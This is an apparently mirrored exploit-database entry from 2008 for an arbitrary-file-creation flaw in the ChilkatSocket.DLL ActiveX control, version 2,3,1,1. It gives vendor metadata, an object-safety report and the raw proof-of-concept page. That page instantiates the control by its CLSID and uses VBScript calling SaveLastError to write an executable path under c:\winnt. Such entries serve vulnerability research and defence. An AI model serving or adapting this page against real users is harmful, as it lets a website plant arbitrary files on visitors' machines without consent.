ChilkatSocket.DLL Arbitrary File Creation

vendor:

ChilkatSocket.DLL

by:

Underz0ne Crew, Zigma

7.5

CVSS

HIGH

Arbitrary File Creation

N/A

CWE

Product Name: ChilkatSocket.DLL

Affected Version From: 2,3,1,1

Affected Version To: 2,3,1,1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2008

ChilkatSocket.DLL Arbitrary File Creation

Chilkat Software, Inc. has a vulnerable DLL, ChilkatSocket.DLL, with version 2,3,1,1. The Object Safety Report for Clsid: {474FCCCD-1B89-4D34-9E09-45807F23289C} shows that RegKey Safe for Script and Init is Faux, Implements IObjectSafety is Vrai, IDisp Safe is Safe for untrusted: caller,data, IPersist Safe is Safe for untrusted: caller,data, and IPStorage Safe is Safe for untrusted: caller,data. An exploit was created by Underz0ne Crew and Zigma, which creates an arbitrary file using a VBScript. The homepage of the exploit is http://www.underz0ne.org.

Mitigation:

N/A

Source

Exploit-DB raw data:

<html>
<title>ChilkatSocket.DLL Arbitrary File Creation</title><br><br>
<body>
Company Name         : Chilkat Software, Inc.<br><br>
Vulnerable DLL       : ChilkatSocket.DLL<br><br>
DLL's version        : 2,3,1,1<br><br>
Object Safety Report : <br>
Report for Clsid: {474FCCCD-1B89-4D34-9E09-45807F23289C}<br>
RegKey Safe for Script: Faux<br>
RegKey Safe for Init: Faux<br>
Implements IObjectSafety: Vrai<br>
IDisp Safe:  Safe for untrusted: caller,data<br>  
IPersist Safe:  Safe for untrusted: caller,data <br> 
IPStorage Safe:  Safe for untrusted: caller,data  <br>
 
Exploit         : Arbitrary File Creation<br><br> 
Author          : Underz0ne Crew<br>
                  Zigma<br>
Homepage        : http://www.underz0ne.org<br><br>

<object classid='clsid:474FCCCD-1B89-4D34-9E09-45807F23289C' id='boom' ></object>
<script language='vbscript'>
arg1="c:\winnt\uz_.exe"
boom.SaveLastError arg1 
</script>
</body>
<html>

# milw0rm.com [2008-11-17]